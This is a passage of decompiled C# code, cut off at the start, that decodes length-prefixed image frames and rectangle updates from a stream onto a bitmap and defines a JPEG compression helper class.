				NativeMethods.memcpy(new IntPtr(value), new IntPtr(codecBuffer.ToInt32() + 4), (uint)num);
			}
			_decodedBitmap = (Bitmap)Image.FromStream((Stream)new MemoryStream(array));
			return _decodedBitmap;
		}

		public Bitmap DecodeData(Stream inStream)
		{
			//IL_0040: Unknown result type (might be due to invalid IL or missing references)
			//IL_004a: Expected O, but got Unknown
			//IL_00d2: Unknown result type (might be due to invalid IL or missing references)
			//IL_00d9: Expected O, but got Unknown
			byte[] array = new byte[4];
			inStream.Read(array, 0, 4);
			int num = BitConverter.ToInt32(array, 0);
			if (_decodedBitmap == null)
			{
				byte[] array2 = new byte[num];
				inStream.Read(array2, 0, array2.Length);
				_decodedBitmap = (Bitmap)Image.FromStream((Stream)new MemoryStream(array2));
				return _decodedBitmap;
			}
			Graphics val = Graphics.FromImage((Image)(object)_decodedBitmap);
			try
			{
				while (num > 0)
				{
					byte[] array3 = new byte[20];
					inStream.Read(array3, 0, array3.Length);
					Rectangle rectangle = new Rectangle(BitConverter.ToInt32(array3, 0), BitConverter.ToInt32(array3, 4), BitConverter.ToInt32(array3, 8), BitConverter.ToInt32(array3, 12));
					int num2 = BitConverter.ToInt32(array3, 16);
					byte[] array4 = new byte[num2];
					inStream.Read(array4, 0, array4.Length);
					using (MemoryStream memoryStream = new MemoryStream(array4))
					{
						Bitmap val2 = (Bitmap)Image.FromStream((Stream)memoryStream);
						try
						{
							val.DrawImage((Image)(object)val2, rectangle.Location);
						}
						finally
						{
							((IDisposable)val2)?.Dispose();
						}
					}
					num -= num2 + 20;
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			return _decodedBitmap;
		}
	}
}
namespace InvokedCommon.Video.Compression
{
	public class JpgCompression : IDisposable
	{
		private readonly ImageCodecInfo _encoderInfo;

		private readonly EncoderParameters _encoderParams;

		public JpgCompression(long quality)
		{
			//IL_000c: Unknown result type (might be due to invalid IL or missing references)
			//IL_0012: Expected O, but got Unknown
			//IL_0025: Unknown result type (might be due to invalid IL or missing references)
			//IL_002f: Expected O, but got Unknown
			//IL_0050: Unknown result type (might be due to invalid IL or missing references)
			//IL_0056: Expected O, but got Unknown
			EncoderParameter val = new EncoderParameter(Encoder.Quality, quality);
			_encoderInfo = GetEncoderInfo("image/jpeg");
			_encoderParams = new EncoderParameters(2);
			_encoderParams.Param[0] = val;
			_encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, 5L);
		}

		public void Dispose()
		{
			Dispose(disposing: true);
			GC.SuppressFinalize(this);
		}

		protected virtual void Dispose(bool disposing)
		{
			if (disposing && _encoderParams != null)
			{
				_encoderParams.Dispose();
			}
		}

		public byte[] Compress(Bitmap bmp)
		{
			using MemoryStream memoryStream = new MemoryStream();
			((Image)bmp).Save((Stream)memoryStream, _encoderInfo, _encoderParams);
			return memoryStream.ToArray();
		}

		public void Compress(Bitmap bmp, ref Stream targetStream)
		{
			((Image)bmp).Save(targetStream, _encoderInfo, _encoderParams);
		}

		private ImageCodecInfo GetEncoderInfo(string mimeType)
		{
			ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
			int num = imageEncoders.Length - 1;
			for (int i = 0; i <= num; i++)
			{
				if (imageEncoders[i].MimeType == mimeType)
				{
					return imageEncoders[i];
				}
			}
			return null;
		}
	}
}
